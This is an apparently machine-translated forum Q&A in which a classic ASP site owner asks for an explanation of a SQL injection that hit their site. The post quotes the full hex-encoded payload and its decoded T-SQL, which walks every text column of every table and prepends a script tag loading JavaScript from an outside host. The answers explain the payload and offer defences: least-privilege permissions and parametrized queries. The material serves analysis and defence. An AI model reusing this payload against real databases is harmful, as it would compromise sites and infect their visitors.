Может кто-нибудь объяснить эту инъекцию SQL-инъекции для меня?

Я хотел опубликовать это здесь, поскольку это очень связано с кодированием, и это было что-то, что я должен был очистить на этой неделе на одном из моих старых ASP (классических) сайтов.

Мы получили удар с атакой SQL-инъекций, которая была запущена всего несколько дней назад, но я почесал голову. КАК "ущерб" был для SQL-сервера (через эти SQL-запросы).

Честно говоря, я считал, что это было очень изобретательно, как это было сделано, и его компании ошибаются в том, что у меня старый 10-летний сайт с практически бездефицитным вводом.

Атака:

122 + объявить +% 40s + VARCHAR% 284000% 29 + набор +% 40s% 3Dcast% 280x73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d412e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e74657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e4754483e333020616e6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e7461626c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d2727223e 3c2f7469746c653e3c736372697074207372633d22687474703a2f2f6c696c75706f7068696c75706f702e636f6d2f736c2e706870223e3c2f7363726970743e3c212d2d27272b525452494d28434f4e5645525428564152434841522836303030292c5b272b40432b275d2929207768657265204c45465428525452494d28434f4e5645525428564152434841522836303030292c5b272b40432b275d29292c3137293c3e2727223e3c2f7469746c653e3c7363726970742727202729204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72 + а + VarChar% 284000% 29% 29 +% Exec 28% 40s% 29 -

Что он расшифровывает: (что я хочу понять)

set ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH>30 and t.table_name=c.table_name and t.table_type='BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['[email protected]+'] SET ['[email protected]+']=''"></title><script src="http://lilXXXXXXXop.com/sl.php"></script><!--''+RTRIM(CONVERT(VARCHAR(6000),['[email protected]+'])) where LEFT(RTRIM(CONVERT(VARCHAR(6000),['[email protected]+'])),17)<>''"></title><script'' ') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

Мы восстановили резервную копию (pre injection) и прошли через все приложение и дезактивировали все входные операторы. Наш сервер является брандмауэром, поэтому прямого доступа к SQL нет, однако я хочу знать, что еще может быть оставлено, и я должен признать, что SQL-запрос находится над моей головой.

Может кто-нибудь взломать и объяснить атаку SQL для меня?

APOLOGIES Я ОБНОВЛЯЛ ПОЛНЫЙ DUMP и SQL

Ответ 1

Простое форматирование для удобства чтения прояснит многое:

set ansi_warnings off

DECLARE @T VARCHAR(255), @C VARCHAR(255)

DECLARE Table_Cursor CURSOR FOR
    select c.TABLE_NAME, c.COLUMN_NAME
      from INFORMATION_SCHEMA.columns c,
           INFORMATION_SCHEMA.tables t
     where c.DATA_TYPE in ('nvarchar','varchar','ntext','text')
       and c.CHARACTER_MAXIMUM_LENGTH > 30
       and t.table_name = c.table_name
       and t.table_type = 'BASE TABLE'

OPEN Table_Cursor

FETCH NEXT FROM Table_Cursor INTO @T, @C
WHILE(@@FETCH_STATUS=0)
BEGIN
    EXEC ( 'UPDATE [' + @T + ']
               SET [' + @C + '] =
                     ''"></title>'' +
                     ''<script src="http://lilXXXXXXXop.com/sl.php"></script>'' +
                     ''<!--'' +
                     RTRIM(CONVERT(VARCHAR(6000),[' + @C + ']))
             WHERE LEFT(RTRIM(CONVERT(VARCHAR(6000),[' + @C + '])), 17)
                     <> ''"></title><script''
           '
         )

    FETCH NEXT FROM Table_Cursor INTO @T,@C
END

CLOSE Table_Cursor

DEALLOCATE Table_Cursor

Он проходит через каждый текстовый столбец каждой таблицы и вставляет в него некоторый HTML-код; HTML, который содержит указатель на созданный извне JavaScript.

Ответ 2

Он перебирает все столбцы во всех таблицах и обновляет их значение, добавляя тег <script>, источник которого указывает на вредоносный JS файл.

Важный бит

DECLARE Table_Cursor CURSOR FOR 
select c.TABLE_NAME,c.COLUMN_NAME from 
INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t 
where c.DATA_TYPE in 

Я предполагаю, что что-то здесь опущено, и утверждение, вероятно, закончилось чем-то вроде ( "varchar", "char", "text" ) или что-то подобное, так что он пытается только обновить столбцы, содержащие текст. Они надеются, что в одном из столбцов будет содержаться текст, который будет загружен на ваш сайт, поэтому после добавления ссылки на него JS он будет включен в источник различных страниц.

Чтобы исправить это, вы должны сделать что-то подобное - пропустите все столбцы, содержащие текст, и замените введенный script пустой строкой. Google будет вашим другом здесь, но здесь очень хорошая ссылка, которая должна быть полезной для настройки script для этого.

http://blogs.lessthandot.com/index.php/DataMgmt/DataDesign/the-ten-most-asked-sql-server-questions--1#2

Ответ 3

Рассмотрите возможность установки URLScan 3.1, чтобы быстро защитить приложение от попыток внедрения sql, а также работать через ваше приложение, чтобы правильно дезактивировать ваши SQL-заявления.

Этот тип атаки на sql-инъекцию также обычно работает, потому что пользователь вашей базы данных имеет слишком слабые разрешения, например. Права DBO. Попытайтесь подключиться к своей базе данных из своего приложения, используя пользователя базы данных с только необходимыми правами для запуска вашего приложения. Вы можете создать пользователя базы данных, сопоставить его с вашей базой данных с публичными правами, а не запускать script, как показано ниже, для применения необходимых индивидуальных прав на каждый объект, который вам нужен.

DECLARE @LOGIN varchar(255)
DECLARE @DB varchar(255)

SELECT @LOGIN = 'yourdbuser'
SELECT @DB = 'yourdb'

/* set default database */
EXEC sp_defaultdb @LOGIN, @DB

/* drop system admin role */
EXEC sp_dropsrvrolemember @LOGIN, 'sysadmin'

/* drop database owner role */
EXEC sp_droprolemember 'db_owner', @LOGIN

/* grant execute on all non system stored procedures and scalar functions */
DECLARE @SP varchar(255)
DECLARE Proc_Cursor CURSOR FOR
SELECT name FROM sysobjects
WHERE (type='P' or type='FN')
AND category <> 2 -- system
OPEN Proc_Cursor
FETCH NEXT FROM Proc_Cursor INTO @SP
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC ('GRANT EXECUTE ON ['[email protected]+'] TO ['[email protected]+']')
FETCH NEXT FROM Proc_Cursor INTO @SP
END
CLOSE Proc_Cursor
DEALLOCATE Proc_Cursor

/* grant select on table functions */
DECLARE @TF varchar(255)
DECLARE Tf_Cursor CURSOR FOR
SELECT name FROM sysobjects
WHERE (type='TF')
AND category <> 2 -- system
OPEN Tf_Cursor
FETCH NEXT FROM Tf_Cursor INTO @TF
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC ('GRANT SELECT ON ['[email protected]+'] TO ['[email protected]+']')
FETCH NEXT FROM Tf_Cursor INTO @SP
END
CLOSE Tf_Cursor
DEALLOCATE Tf_Cursor

/* grant select/update/insert/delete on all user defined tables */
DECLARE @T varchar(255)
DECLARE Table_Cursor CURSOR FOR
SELECT name FROM sysobjects
WHERE (type='U' or type='V') -- user defined tables and views
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC ('GRANT SELECT, UPDATE, INSERT, DELETE ON ['[email protected]+'] TO ['[email protected]+']')
FETCH NEXT FROM Table_Cursor INTO @T
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

/* deny access to system tables */
DENY SELECT ON syscolumns TO yourdbuser
DENY SELECT ON sysobjects TO yourdbuser

DENY VIEW DEFINITION TO yourdbuser

DENY SELECT ON sys.databases TO yourdbuser
DENY SELECT ON sys.columns TO yourdbuser
DENY SELECT ON sys.objects TO yourdbuser
DENY SELECT ON sys.sql_logins TO yourdbuser
DENY SELECT ON sys.all_columns TO yourdbuser
DENY SELECT ON sys.all_objects TO yourdbuser
DENY SELECT ON sys.all_parameters TO yourdbuser
DENY SELECT ON sys.all_views TO yourdbuser

Очевидно, протестируйте это против своего конкретного приложения, поскольку у вас могут быть процедуры, требующие выбора из этих таблиц sys.

Ответ 4

Я думаю, что он пытается вставить закодированные строки во все текстовые столбцы в вашей базе данных. Проверьте этот ref: http://blog.strictly-software.com/2009/10/two-stage-sql-injection-attack.html

Надеюсь, что это поможет в некотором смысле

Ответ 5

Посмотрите на изменение своих запросов следующим образом:

Dim oConn, oRS, SQL
'Query open to attack
SQL = "SELECT * FROM [Table] WHERE [id] = " & Request.QueryString("id")

Set oConn = Server.CreateObject("ADODB.Connection")
Call oConn.Open(conn_string_from_inc)

Set oRS = oConn.Execute(SQL)    

Call oConn.Close()
Set oConn = Nothing

Что-то вроде этого;

Dim oCmd, oRS, SQL
SQL = "SELECT * FROM [Table] WHERE [id] = ?"

Set oCmd = Server.CreateObject("ADODB.Command")
With oCmd
  .ActiveConnection = conn_string_from_inc
  .CommandType = adCmdText
  .CommandText = SQL
  Call .Parameters.Append(.CreateParameter("@id", adInteger, adParamInput, 4))
  .Parameters("@id").Value = Request.QueryString("id")
  Set oRS = .Execute()
End With
Set oCmd = Nothing

Это просто грубый пример борьбы с SQL Injection, не прибегая к дезинфекции входных данных. Я все равно поступил бы по-другому.